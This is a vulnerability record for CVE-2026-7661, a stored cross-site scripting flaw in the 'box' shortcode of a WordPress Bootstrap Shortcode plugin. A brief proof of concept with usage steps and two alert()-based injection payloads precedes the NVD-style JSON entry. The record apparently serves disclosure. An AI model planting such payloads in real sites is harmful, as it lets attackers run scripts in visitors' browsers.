CVE-2026-7661

// PoC for CVE-2026-7661 // This payload demonstrates the Stored XSS vulnerability in the 'box' shortcode. // Usage: Login as Contributor, insert this shortcode in a post/page content. [box title="Click Me" onmouseover="alert('CVE-2026-7661_Exploit')"]Test[/box] // Alternative vector if attributes are directly reflected: // [box title="<img src=x onerror=alert(1)>"]

{"cve": {"id": "CVE-2026-7661", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:58.000", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Bootstrap Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `box` shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/bootstrap-shortcode/trunk/bootstrap.php#L30", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/bootstrap-shortcode/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2df53b60-c524-4ebd-9a99-ef8e14c140c7?source=cve", "source": "[email protected]"}]}}